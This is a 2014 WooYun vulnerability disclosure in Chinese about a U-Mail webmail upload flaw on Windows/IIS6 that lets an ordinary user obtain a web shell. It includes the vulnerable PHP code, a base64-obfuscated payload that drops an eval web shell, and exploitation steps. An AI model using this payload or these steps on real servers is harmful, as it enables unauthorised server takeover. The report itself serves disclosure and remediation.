当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061055

漏洞标题:U-Mail邮件系统普通用户权限getshell漏洞-2

相关厂商:U-Mail

漏洞作者: Ano_Tom

提交时间:2014-05-17 21:53

修复时间:2014-08-15 21:54

公开时间:2014-08-15 21:54

漏洞类型:默认配置不当

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-17: 细节已通知厂商并且等待厂商处理中
2014-05-22: 厂商已经确认,细节仅向厂商公开
2014-05-25: 细节向第三方安全合作伙伴开放
2014-07-16: 细节向核心白帽子及相关领域专家公开
2014-07-26: 细节向普通白帽子公开
2014-08-05: 细节向实习白帽子公开
2014-08-15: 细节向公众公开

简要描述:

U-Mail邮件系统windows版本存在缺陷,导致普通用户getshell

详细说明:

环境说明:官网下载windows版最新版,windows server 2003+IIS6搭建、登录邮箱测试时候使用最新版chrome浏览器,需要普通用户登录
漏洞文件:
C:\umail\WorldClient\html\client\option\module\o_letterpaper.php
代码:

if ( ACTION == "letterpaper-img-upload" )
{
$targetFolder = getusercachepath( );
$verifyToken = md5( "unique_salt".$_POST['timestamp'] );
if ( !empty( $_FILES ) || $_POST['token'] == $verifyToken )
{
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $targetFolder;
$targetFile = rtrim( $targetPath, "/" )."/letterpaper_".$_FILES['Filedata']['name'];
$fileTypes = array( "jpg", "jpeg", "gif", "png" );
$fileParts = pathinfo( $_FILES['Filedata']['name'] );
if ( in_array( $fileParts['extension'], $fileTypes ) )
{
$handle = opendir( $targetPath );
while ( ( $file = readdir( $handle ) ) !== FALSE )
{
if ( !( $file != "." ) && !( $file != ".." ) && strpos( $file, "letterpaper_" ) === FALSE )
{
$dir = rtrim( $targetPath, "/" ).DIRECTORY_SEPARATOR.$file;
unlink( $dir );
}
}
closedir( $handle );
if ( move_uploaded_file( $tempFile, $targetFile ) )
{
$thumbFile = rtrim( $targetPath, "/" )."/letterpaper_".$fileParts['filename']."_thumb.".$fileParts['extension'];
$thumbUrl = rtrim( WEBMAIL_URL, "/" )."/cache/".$user_id."/letterpaper_".$fileParts['filename']."_thumb.".$fileParts['extension'];
$targetUrl = rtrim( WEBMAIL_URL, "/" )."/cache/".$user_id."/letterpaper_".$_FILES['Filedata']['name'];
if ( img2thumb( $targetFile, $thumbFile, $width = 100, $height = 100, $cut = 1, $proportion = 0 ) )
{
dump_json( array(
"status" => 1,
"file" => $targetFile,
"fileUrl" => $targetUrl,
"thumb" => $thumbFile,
"thumbUrl" => $thumbUrl
) );
}
else
{
unlink( $targetFile );
exit( );
}
}
}
else
{
dump_json( array( "status" => 0, "msg" => "Invalid file type." ) );
}
}
}


此处为信纸的上传图片的页面,只允许jpg等图片格式的上传,由于是windows版的,可以结合iis6.0的解析漏洞,但上传成功a.php;a.jpg时候会提示错误,脚本执行错误500。然后此php是以fastcgi形式跑的,因而利用v.jpg/a.php解析漏洞。此默认安装包的php版本为

d5d1e8a2-1150-47f6-a1c2-33a076b14409.png


漏洞利用过程
准备图片木马,必须是图片,然后里面需嵌入php代码为
<?php @fwrite(fopen(base64_decode('ZnVjay5waHA='),w), base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydmdWNrJ10pOz8+'));
注意不要闭合,会报错。代码执行后会在当前目录下生成fuck.php的一句话木马
此处的图片木马为

ddd.jpg


若不是图片木马,则在执行函数的
if ( img2thumb( $targetFile, $thumbFile, $width = 100, $height = 100, $cut = 1, $proportion = 0 ) )
会出错,查看到的相应内容里不会有上传后的地址,如图

abfe8804-34c4-4705-8ecf-df0a7f3d2e87.png


chrome浏览登录邮箱后,设置代理

a4c5dae0-0077-4668-8d5a-a60beb2633f5.png


查看响应

dd.png


获得的上传后地址为,
/webmail/client/cache/5/letterpaper_v.jpg
ok,浏览器访问//webmail/client/cache/5/letterpaper_v.jpg/a.php

bb.png


官网未提供设置信纸功能,但同样可以本地提交,修改post地址获取webshell,未具体测试
官网是有解析漏洞的,如下

dw.png

漏洞证明:

如上详细描述

修复方案:

:)好多啊,你懂的

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-05-22 17:55

厂商回复:

CNVD确认并复现所述情况,由CNVD通过公开联系渠道向软件生产厂商深圳市福洽科技有限公司通报

最新状态:

暂无